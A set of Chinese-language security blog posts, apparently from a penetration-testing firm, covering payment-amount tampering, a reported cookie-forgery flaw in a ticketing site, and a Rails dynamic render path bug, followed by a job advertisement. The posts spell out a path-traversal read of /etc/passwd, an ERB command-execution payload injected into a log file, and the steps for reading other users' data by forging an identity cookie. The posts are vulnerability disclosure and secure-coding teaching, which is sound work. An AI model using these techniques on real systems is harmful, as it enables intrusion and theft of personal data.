  1. 電子商務訂單成立,電子商務網站給你一張單子,上面寫著:『訂單 123 號, 金額 456 元』,請你將單子轉交給第三方金流服務網站並繳款。
  2. 金流服務網站依據你給它的單據收取 456 元,並且跟電子商務網站說:『訂單 123 已成功繳款,款項 456 元』。
  3. 最後電子商務網站告訴你訂單 123 號購買成功。

如果現在有一個惡意使用者,他做了以下惡搞:

  1. 在步驟一把電子商務網站給的單子修改成:『訂單 123 號,金額 20 元』(原價是 456 元)
  2. 金流服務商依據單據跟惡意使用者收取 20 元費用,並且告訴電子商務網站:『訂單 123 已成功繳款,款項 20 元』
  3. 最後電子商務網站看到『訂單 123 已成功繳款』的訊息,就告訴使用者說訂單 123 購買成功。也就是惡意使用者只花取 20 元就購買到原價 456 元的產品。

(聲明:為求精簡,電子商務與金流服務串接流程有經過簡化,有抓到精髓就好XD)

不管是寬宏售票出現密碼欄位還是上例電子商務網站的金流串接,最大的問題在於他們都相信使用者會正常幫忙轉交,即靠客戶端的瀏覽器來轉址傳值。要知道,利用瀏覽器轉址傳值是不可靠的,一來,重要的資訊就會被客戶知道,例如寬宏售票疑似洩漏資料庫密碼;二來中間的內容可以修改,例如修改訂單金額。另外,可能有人會發現到,在惡意使用者的步驟三裡面,電子商務網站竟然沒有確認付款金額是否正確,沒錯,這是會發生的事情,在過去經驗中,像這樣沒有比對付款金額的台灣系統比例還不少,這些疏忽都會造成企業很多成本損失,不可不注意。

台灣目前還滿常見到這種根據使用者傳來單據來收費的狀況,導致單據可竄改造成企業損失,某部分原因可以歸咎到早期第三方金流的範例都是這樣寫的,工程師也就直接延續這樣的寫法直到現在。以金流串接為例,比較好的處理方式有下面兩種:

  • 在單據上加入防偽標記,讓惡意使用者無法輕易竄改單據。在技術上作法有點類似 OAuth 在 Signing Request 時的作法,在請求中多送一組檢查碼,透過 one-way hash 的方式檢查網址是否有被修改,目前大部分金流商都有提供相似解法。
  • 單據不再給使用者轉交,電子商務直接傳單子『訂單 123 號,金額 20 元』給金流服務網站,並請使用者直接去專屬的金流商窗口繳費即可。在技術上就是將瀏覽器轉址傳值的動作全部變成伺服器對伺服器溝通處理掉。

以上兩種作法,將可以有效防止惡意使用者修改訂單金額。此外,建議電子商務網站在收到金流回傳的付款資訊後,能夠比對收取款項與訂單款項是否相符,如此雙重檢查,能大大避免惡意行為,減少企業處理惡意金流問題的成本。

談駭客心理

很明顯的,寬宏售票洩漏密碼的狀況是工程師的小疏漏。在不知道資料庫確切位置的前提下,知道疑似資料庫密碼的東西確實也無法做什麼,頂多就是了解了一家公司制定密碼的策略。然而,看在駭客眼裡,這點疏失會代表著一個網站面對資安的態度。連顯而易見的問題都沒有注意,那後端程式應該也有可能出現漏洞。一旦駭客決定要攻擊這個網站,勢必會搬出比平常還要多的資源去嘗試,因為他們認為這個投資報酬率很高。

一般駭客基本上會不斷的從所看到的網頁資訊來調整自己攻擊的強度,如果他們不斷看到了奇怪的登入畫面:

寬宏售票登入頁面1

或是防火牆的登入畫面

寬宏售票登入頁面2

就很有可能會增加攻擊的力道。上面這種登入頁面就是就是一種常見的資訊洩漏,在今年台灣駭客年會的議程-「被遺忘的資訊洩漏」就提及了這類資訊洩漏在台灣是很普及的。注意,出現這樣的頁面並不意味著網站會有漏洞,只是網站容易因此多受到一些攻擊。反之,如果一個網站前端頁面寫的乾淨漂亮,甚至連 HTTP 安全 header 這種小細節都會注意到,駭客可能就會認為這個網站寫的很嚴謹,甚至連嘗試的慾望都沒有了。

一個經驗豐富的駭客,通常光看首頁就能夠判斷該網站是否可能存有漏洞,憑藉的就是這些蛛絲馬跡。為了不讓自家網站常被路過的惡意使用者攻擊,加強網頁前端的呈現、網頁原始碼乾淨有架構、沒有太多資訊洩漏,這些都是很好的防禦方法。

結論

在使用最近熱門的寬宏售票網站時,我們發現網頁原始碼存在一些疑似密碼的資訊。從這件事情出發,我們分別延伸探討了兩個工程師應該注意的議題:

  • 第一個議題提醒大家在開發的時候,重要的資訊千萬不要透過客戶端瀏覽器幫忙轉送,記住客戶端都是不可信的,多經一手就多一分風險。文中舉出了台灣電商網站在金流串接時也常出現這樣的問題,可能會造成訂單金額被竄改等企業會有所損失的問題。
  • 第二個議題從駭客的心理來談資安,一個網站如果沒有什麼保護機制、輕易的洩漏網站資訊,非常容易挑起駭客想要嘗試入侵的慾望;反之,若一個網站從前端到使用流程都非常注意細節,一般駭客較會興致缺缺。嚴謹的前端呈現,就某種程度來說,也是一種對自身網站的保護。

希望開發者看到上面這兩個議題有掌握到『別相信客戶端』、『駭客會因網站前端寫法不嚴謹而嘗試去攻擊』的重點,提昇自家網站的安全度吧!

最後說個題外話,身為一個工程師,我認為資訊系統該帶給世界的好處是節省大家的時間,而這次搶票卻讓無數人徹夜排隊或守在電腦前不斷的『連不上、買票、失敗』循環。這也許能夠賺到大量的新聞版面,最終票也能全部賣光,但想到台灣有數十萬小時的生產力浪費在無意義的等待上,就覺得這個系統好失敗。現在的技術已經可以負荷這樣大規模的售票,KKTIX 甚至可以一分鐘處理 10 萬張劃位票券!世界在進步,過去的技術也許就該讓它留在過去。有人說:『真正幸福的人:不是搶到票,是可以像江蕙一樣選擇人生』,希望我也可以變成一個幸福的人,可以選擇一個不塞車的售票系統。

談 Cookie 認證安全-以宏碁雲端售票為例

29 January 2015 at 16:00

前言

Cookie 是開發網頁應用程式很常利用的東西,它是為了解決 HTTP stateless 特性但又需要有互動而產生的。開發者想把什麼資訊暫存在用戶瀏覽器都可以透過 Cookie 來完成,只要資訊量不大於約 4KB 的限制就沒問題。在這樣的空間裡,可以放購物車內的暫存商品、可以儲存讀者閱讀記錄以精準推薦產品、當然也可以寫入一些認證資訊讓使用者能保持登入狀態。

Cookie 有一些先天上的缺點,在於資料是儲存在瀏覽器端,而使用者是可以任意修改這些資料的。所以如果網站的使用者身分認證資訊依賴 Cookie,偷偷竄改那些認證資訊,也許有機會能夠欺騙網站,盜用他人身分,今天就來談談這樣的一件事情吧!

問題與回報

會想要聊這個議題,主要是因為最近很紅的宏碁雲端售票系統就是採用 Cookie 認證。上週在註冊該網站時看了一下 Cookie,發現該網站沒有使用 Session 機制的跡象,也就是單純利用 Cookie 的值來認證。

宏碁雲端 cookie

於是開始好奇認證主要的依據是什麼?從圖中可以看到 Cookie 值並不多,猜測該網站大概會是看 USER_ID、USER_ACCOUNT 來判斷你是哪個使用者,稍作測試後會發現有些頁面只依據 USER_ACCOUNT 的值來確認身分,而 USER_ACCOUNT 這個值其實就是使用者的身分證字號,也就是說任何人只要跟網站說我的身分證字號是什麼,網站就會認為你是那個身分證字號的使用者。利用這點設計上的小瑕疵,就可以竊取他人個資,更進階一點,甚至可以用來清空別人的志願單讓其他使用者買不到票。

發現這個問題後,決定通報 VulReport 漏洞回報平台,由該平台統一通知開發商。這是我第一次使用這個平台,對我而言這是一個方便且對整體資安環境有助益的平台。方便點在於,過去常常困擾於發現一些網站有設計上的疏失卻不知該不該通報,如果認識該網站的開發者倒是還好可以直接講,但對於其他不認識的,一來沒有明確窗口,二來礙於工作關係怕被認為是敲竹槓,所以影響不大的漏洞可能就放水流了。這樣放任其實不是一件健康的事情,漏洞在風險就在,有了這樣的回報平台至少可以告訴企業可能存在風險,自己也可以放心通報。事實上,對岸有類似的平台已經行之有年,最顯著的效果,就是對岸網站在 0 day 被揭露後能在一週左右全國修復,而以往可能好多年過去了漏洞還在。這真的能夠加速保護企業和使用者,很高興台灣也有了這樣的平台!

昨天早上收到了平台回報宏碁雲端售票已經修復的消息,既然已經修復且公開了,就順便講解這個問題的細節吧!希望其他開發者可以從中體會到攻擊者的思維,進而做洽當的防禦。

驗證及危害

為了方便驗證解說這個問題,這邊特別用兩個不存在的身分證字號在宏碁雲端售票申請帳號,分別是 Z288252522 和 Z239398899。測試目的是登入帳號 Z288252522 後看看是否能利用上述 Cookie 問題讀取 Z239398899 的個資。

首先登入帳號 Z288252522,找到一個會回傳個資的頁面:

https://www.jody-ticket.com.tw/UTK0196_.aspx

第一個使用者個資

此時的 Cookie 值如下

第一個使用者 cookie

從圖中發現 Cookie 的值其實是經過加密的,這點在上面說明攻擊觀念時刻意沒有提及。把 Cookie 值加密是一種防止別人修改 Cookie 值的方式,攻擊者不知道 Cookie 值的內容,自然也無法修改了。

然而這樣做還是存在些微風險,一旦這個加解密方式被找到,攻擊者就得以修改 Cookie 內容,進而盜用別人身分。在本例中,若想憑著改變 Cookie 盜用別人身分其實可以不用花時間去解加密法,這裡有一個小 trick,我們從觀察中馬上就能發現所有 Cookie 值都是用同一套加密方式,而且其中 USER_EMAIL、USER_NAME 這些還是我們可以修改的值。這也意味著如果我們把姓名改成我們想要加密的身分證字號,伺服器就會回傳一個加密好的值給 USER_NAME。我們直接來修改姓名看看:

修改姓名成身分證字號

當姓名改成目標 Z239398899 時,Cookie 中的 USER_NAME 值就會改變成我們要的加密結果。耶!是一種作業不會寫找出題老師幫忙寫的概念 XD

改變第一個使用者 cookie

接著直接把 USER_NAME 的值拿來用,複製貼上到目標欄位 USER_ACCOUNT 中,之後就是以 Z239398899 的身分來讀取網頁了。我們再讀取一次 https://www.jody-ticket.com.tw/UTK0196_.aspx 看看:

第二個使用者個資

成功看到 Z239398899 的資料了!如此,就可以只憑一個身分證字號讀到他人的地址電話資訊,甚至可以幫別人搶票或取消票券。這個流程寫成程式後只要兩個 request 就可以嘗試登入一個身分證字號,要大量偷取會員個資也是可行的了。

說到這邊,也許有人會質疑要猜中註冊帳戶的身分證字號是有難度的,但其實要列舉出全台灣可能在使用的身分證字號並不困難,再加上宏碁雲端的硬體其實是很不錯的,事實也證明它能夠在短時間處理四千萬個請求系統仍保持穩定,只要攻擊者網路不要卡在自家巷子口,多機器多線程佈下去猜身分證字號效率應該很可觀!

建議原則

這次的問題是兩個弱點的組合攻擊:

  1. Cookie 加密的內容可解也可偽造-透過網站幫忙
  2. 功能缺少權限控管 (Missing Function Level Access Control)-部分頁面只憑身分證字號就可存取個資

宏碁雲端售票為了效率和分流,使用 Cookie 認證是相當合理的設計,所以要解決這個問題,從第二點來解決會是最有效且符合成本的方式,怎麼改呢?推測原本的 SQL 語句應該類似這樣:

select * from USER where account=USER_ACCOUNT

由於 USER_ACCOUNT 是身分證字號,容易窮舉,更嚴謹的作法可以多判斷一個 id,像是這樣:

select * from USER where account=USER_ACCOUNT and id=USER_ID

從只需要告訴伺服器身分證字號就回傳會員資料,到變成需要身分證字號和會員編號同時正確才會回傳會員資料,至此,攻擊者已經很難同時知道別人的會員編號和身分證字號了,因此大大降低了被猜中的機率,增加了安全性。

Cookie 一直以來都是 Web Application Security 領域的兵家必爭之地,攻擊者無不絞盡腦汁想偷到或偽造它,前陣子舉辦的 HITCON GIRLS Web 課堂練習題第一題就是改 Cookie 來偽造身分,足見這個問題有多基本和重要。

關於 Cookie,這裡提供一點原則和概念供大家參考:

首先,Cookie 是存在客戶端的,所以有機會被看到、被竄改、被其他人偷走。基於這些原因,不建議在 Cookie 中儲存機敏資料,或是存放會影響伺服器運作的重要參數,需評估一下這些暫存資料被人家看到或修改是不是沒差,這是儲存的原則。如果權衡後還是要在 Cookie 中存放重要資料,那就需要對值加密避免被讀改,而且要確保加密的強度以及其他人是否能透過其他方法解析修改。最後,Cookie 最常被偷走的方式是透過 JavaScript,所以建議在重要的 Cookie 加上 HttpOnly flag 能有效的降低被偷走的機率。也來試著整理一下這一小段的重點:

  • 機敏資料不要存
  • 加密資訊不可少
  • 設定標頭不怕駭
  • 一次搞定沒煩惱

沒想到信手拈來就是三不一沒有,前面再加個勾勾,感覺好像很厲害呢!

結論

由於 Cookie 存在瀏覽器端,有被竄改的可能,所以如果網站使用 Cookie 認證就會有一些安全上的風險。本篇就以宏碁雲端售票為例,說明這種小疏忽可能會造成被盜用帳號的風險。開發者在面對使用者可以改變的變數一定要特別小心處理,做好該有的防護,還是老話一句:使用者傳來的資料皆不可信!只要掌握這個原則,開發出來的產品就能夠少很多很多風險!

行文至此,預期中是要再推廣一下漏洞回報平台,順便稱讚宏碁非常重視資安,修復快速,是良好的正循環。不過前兩天看到一些關於宏碁雲端售票的新聞時,上線發現此弱點仍未修復,這好像真的有點不應該,畢竟官方上週已經接收到通報,要修復這個弱點也只需一行判斷式…。能理解這次的弱點在短時間開發過程中很難被注意到,對於這樣一個一週不眠不休完成的售票網站,我其實也是給予滿高的評價,但如果官方能再增兩分對資安事件的重視,相信下次定能以滿分之姿呈現在使用者面前!

Rails 動態樣板路徑的風險

23 July 2015 at 16:00

前言

從安全開發的角度來看,Ruby on Rails 是一套很友善的框架。它從框架層避免了很多過去網站常出現的安全問題,例如使用 ORM 避免大部分的 SQL injection 問題、有內建的 authenticity_token 讓開發者不必特別煩惱 CSRF、從機制面規定開發者使用 Strong Parameter 避免 Mass Assignment、預設轉化危險字元避免 XSS 等…。

就我們過去滲透測試的經驗來說,Rails 網站雖然還是能找到問題,但相對問題較少,而且很少單純因為 Rails 寫法問題拿到系統操作權。而今天要分享的,是在一次滲透測試中比較特別的例子,因為開發者使用了動態樣板路徑(Dynamic Render Paths)的寫法1,最後造成了嚴重的結果。

動態樣板路徑,OWASP 的介紹是這樣的:

In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.


Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.

OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。

基本細節

一個動態樣板路徑的寫法如下:

# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
  def index
    page = params[:page] || 'index'
    render page
  end
end

而 index 的樣板內容是這樣:

<!-- app/views/welcome/index.html.erb -->
This is INDEX page.

另外建一個 demo 樣板做示意:

<!-- app/views/welcome/demo.html.erb -->
This is DEMO page.

實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。

Rails render index view

如果帶參數 page=demo,會讀取到 demo 模版。

Rails render demo view

所以,如果我們知道管理介面的模版路徑,送出路徑參數就可以讀取到管理介面。這就是 OWASP 所描述的風險,攻擊者得以讀取任意模版。

Rails render admin view

然而,當我們嘗試送出系統絕對路徑例如 /etc/passwd 2,網頁竟然吐出了 /etc/passwd 的內容!這就是之前所述的直接存取物件問題,可以遍歷目錄瀏覽檔案。

Rails render Insecure Direct Object References

進階攻擊

通常在 Rails 環境下能夠讀取任意檔案,攻擊者會優先尋找 secret_token,目的是變造惡意 session cookie 利用 Marshal serialize 的問題做 RCE。然而在本案例系統使用了 Rails 4.1 後的版本,Rails 4.1 預設使用了 JSON-based 的 serializer 防止了之前的 RCE 問題,所以並沒有辦法輕鬆利用。

為了取得系統操作權,我們嘗試尋找其他可利用的地方。在這邊我們發現了該站系統 production.log 中存在 AWS 的上傳紀錄。如下:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

於是我們可以利用上傳檔案的 Content-Type 內容,將 Embedded Ruby 語句 <%=`#{params[:devcore]}`%> 添加到 production.log 檔案裡面。於是 log 的內容變成了下面這樣:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

INFO -- : [AWS S3 200 0.040211 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"<%=`#{params[:devcore]}`%>",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_002")

接著,我們就可以利用前面的弱點讀取 production.log 檔案,再帶一個 devcore 參數作為指令,如圖,成功取得系統操作權 :p

Rails render Remote Code Execution

風險原因

一般來說 Rails 開發並不太會這樣寫,但稍微搜尋一下 Github 還是能發現這種寫法存在一些專案中。我想主要原因多半是開發者想要偷懶,然後也可能想說動態樣板路徑頂多就被看到面板的 html,無傷大雅。誰知道就因為這樣導致整個程式碼內容被讀取。

若有一個 action 要動態顯示不同模版的需求,為了避免上述的問題,就辛苦點先用 case…when 去判斷吧。這跟不要用字串組 SQL 語句避免 SQL injection 一樣,這種外面傳進來的參數都要謹慎處理的觀念要內化在開發中。

除了開發者基本上不應該這樣開發外,Rails 本身也有一點點問題,當 render 路徑沒有副檔名,無法判斷什麼格式時,就會直接採用預設的 template handler。

# lib/action_view/template/resolver.rb
def extract_handler_and_format_and_variant(path, default_formats)
  pieces = File.basename(path).split(".")
  pieces.shift

  extension = pieces.pop
  unless extension
    message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
              "but will change to RAW in the future."
    ActiveSupport::Deprecation.warn message
  end

  handler = Template.handler_for_extension(extension)
  format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
  format  &&= Template::Types[format]

  [handler, format, variant]
end

而這裡預設的 handler 是 ERB(見 register_default_template_handler),所以有本篇後面提到的進階攻擊,可以被利用來 RCE。

# lib/action_view/template/handlers.rb
def self.extended(base)
  base.register_default_template_handler :erb, ERB.new
  base.register_template_handler :builder, Builder.new
  base.register_template_handler :raw, Raw.new
  base.register_template_handler :ruby, :source.to_proc
end

慶幸的是,目前 Rails 已經把預設的 template handler 從 ERB 改成 RAW,不會輕易把要 render 的檔案當成 ERB 執行了。詳細的內容請參考這個 commit。

結論

Ruby on Rails 能讓開發者較輕鬆的開發出安全的應用程式,然而,若開發者不注意,還是有可能寫出嚴重的漏洞。本文的動態樣板路徑就是這樣一個例子,它不只是 OWASP 所描述的可以存取任意模版而已,它可以遍歷檔案,甚至因為 rails 預設的 template handler 是 ERB,造成遠端命令執行讓攻擊者取得伺服器操作權。

這個例子又再次驗證,框架可以幫助大家快速開發,增加安全度。但唯有良好的安全意識,才是應用程式安全的基石。

註解

  1. Dynamic Render Paths 目前並沒有中文翻譯,因為問題之精髓在於要產生的樣板路徑是可變動的,因此筆者認為動態樣板路徑這個翻譯較為貼切。 ↩

  2. 筆者測試的環境為 Rails 4.1.4,其他 Rails 版本有可能需要用 ../../../../../etc/passwd 跳脫目前目錄。 ↩

[已結束] DEVCORE 徵求行政出納人才

18 August 2015 at 16:00

(2015.9.16 已結束徵才)

戴夫寇爾即將要邁入第四個年頭,在過去的歲月中,我們推廣資安的重要性、強調安全開發。我們堅持提供最高品質的滲透測試服務,協助企業找出隱藏的資安威脅。我們也不斷精進技術,期許自己能成為全台灣第一的滲透測試團隊。

感謝這些年來業界朋友對我們的肯定與支持,戴夫寇爾得以茁壯,如今,我們還需要一位行政出納人才,我們渴望您的加入,做為戴夫寇爾穩定的力量。相關細節如下:

工作內容

  • 協助處理庶務性行政工作(接聽來電、收發、接待)
  • 負責合約管理、出缺考勤管理、帳務明細整理
  • 規劃、執行採購庶務
  • 應收應付款項與零用金管理
  • 銀行往來與一般款項收付作業
  • 協助主管執行相關業務

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓

(捷運南京復興站,走路約三分鐘)

條件要求

  • 需有兩年以上相關工作經驗
  • 熟悉試算表,具獨立撰寫試算表公式能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好
  • 您曾經做過行政相關職務,但對行政一職有一套自己的想法
    我們是新創公司,我們歡迎您挑戰既定的行政刻版印象
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題

工作環境

我們注重公司每個人的身心健康,所以:

  • 您會在一個開闊的辦公環境工作
    DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅
    DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快
    DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣
    DEVCORE DART

員工福利

  • 第一年即有特休(照比例),每年度五天全薪病假
  • 三節、生日禮金
  • 每季員工聚餐
  • 每年員工旅遊
  • 每年員工健檢
  • 勞保、健保、勞退
  • 定期專人按摩服務

薪資待遇

新台幣 32,000 - 40,000 (保證 14 個月)

應徵方式

請來信將您的履歷以 PDF 格式寄到 [email protected],標題格式如下:
[應徵] 行政出納專員 (您的姓名)

我們會在兩週內主動與您聯繫。審查方式會有書審、線上測驗以及面試三個階段。最快將於九月初開始進行第二階段測試,煩請耐心等候。
履歷請控制在兩頁以內,需包含以下內容:

  • 基本資料
  • 學歷
  • 工作經歷
  • 社群活動經驗
  • 特殊事蹟
  • MBTI 職業性格測試結果(請自行尋找線上測驗測試)

請參考範例示意(DOC、PAGES、PDF)並轉成 PDF。

若您有自信,也可以自由發揮最能呈現您能力的履歷。

附註

由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。


我們選擇優先在部落格公布徵才資訊,是希望您也對安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。如果您除了處理基本事務外還有更多想法,也歡迎與我們聯繫,我們會保留給您發揮的空間與調升薪水。


無論如何,我們都感謝您的來信,期待您的加入!

❌
❌